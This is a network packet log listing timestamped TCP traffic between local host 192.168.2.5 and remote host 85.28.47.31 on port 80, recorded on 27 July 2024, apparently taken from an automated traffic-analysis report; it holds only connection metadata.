Jul 27, 2024 09:25:07.390269041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390285015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390300035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390333891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390424967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390458107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390480042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390490055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390505075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390522003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390537024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390556097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390569925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390588999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390607119 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390623093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390639067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390656948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390672922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390691042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390706062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390723944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390738964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390770912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390866995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390899897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390922070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390932083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390944004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390965939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.390979052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.390996933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391012907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391030073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391047001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391062021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391078949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391094923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391109943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391128063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391143084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391160011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391176939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391192913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391202927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391226053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391236067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391258955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391275883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391290903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391305923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391325951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391336918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391370058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391458988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391510963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391510963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391545057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391556978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391578913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391588926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391612053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391622066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391644955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391654015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391676903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391688108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391710997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391721010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391743898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391753912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391776085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391787052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391808987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391819954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391840935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391851902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391875029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391884089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391907930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391920090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391941071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391949892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.391973019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.391983032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.392005920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.392015934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.392040968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.392047882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.392071962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.392082930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.392103910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.392116070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.392138004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.392151117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.392174959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.392180920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.392204046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.392218113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.392250061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.392297029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.392329931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.392352104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.392362118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.392370939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.392395020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.392405987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.392429113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.392440081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.392462015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.392472982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.392537117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.392561913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.392575026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.392580986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.392617941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.482383013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.482445002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.482453108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.482487917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.482500076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.482541084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.482547045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.482584953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.482593060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.482625008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.482634068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.482666016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.482676983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.482711077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.482722044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.482753038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.482763052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.482795954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.482804060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.482829094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.482837915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.482861996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.482872963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.482896090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.482908010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.482939005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.482947111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.482980967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.482988119 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.483014107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.483023882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.483047009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.483052969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.483079910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.483089924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.483124018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.483134031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.483181000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.483181953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.483213902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.483226061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.483242989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.483261108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.483275890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.483285904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.483309031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.483314991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.483341932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.483350992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.483376026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.483385086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.483409882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.483418941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.483443975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.483452082 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.483479023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.483486891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.483522892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.483908892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.483937979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.483954906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.483978033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484118938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484152079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484164953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484191895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484203100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484236002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484246016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484268904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484276056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484307051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484319925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484354019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484363079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484385014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484395981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484417915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484426975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484450102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484460115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484493017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484510899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484545946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484553099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484579086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484586000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484615088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484623909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484647989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484658003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484683990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484689951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484719992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484729052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484752893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484762907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484786987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484797001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484822989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484833002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484854937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484864950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484890938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484895945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484929085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484935999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484961987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.484971046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.484994888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485006094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485038042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485045910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485086918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485095024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485127926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485135078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485161066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485171080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485193014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485203028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485227108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485234022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485259056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485269070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485291958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485300064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485326052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485335112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485359907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485368013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485394001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485399008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485426903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485438108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485460997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485471964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485493898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485505104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485526085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485538006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485559940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485568047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485593081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485625029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485657930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485673904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485673904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485686064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485692024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485701084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485723972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485749006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485758066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485788107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485790014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485794067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485825062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485836983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485857010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485892057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485920906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485920906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485924006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485933065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485959053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.485972881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.485991001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486002922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486032963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486041069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486073971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486085892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486109018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486109972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486140966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486148119 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486186028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486191034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486222982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486234903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486257076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486264944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486288071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486298084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486321926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486330032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486354113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486362934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486387014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486397028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486419916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486429930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486463070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486468077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486495972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486506939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486532927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486540079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486566067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486576080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486598969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486613035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486632109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486641884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486665964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486675978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486697912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486711025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486731052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486742020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486763954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486774921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486797094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486809015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486829996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486839056 CEST	49704	80	192.168.2.5	85.28.47.31
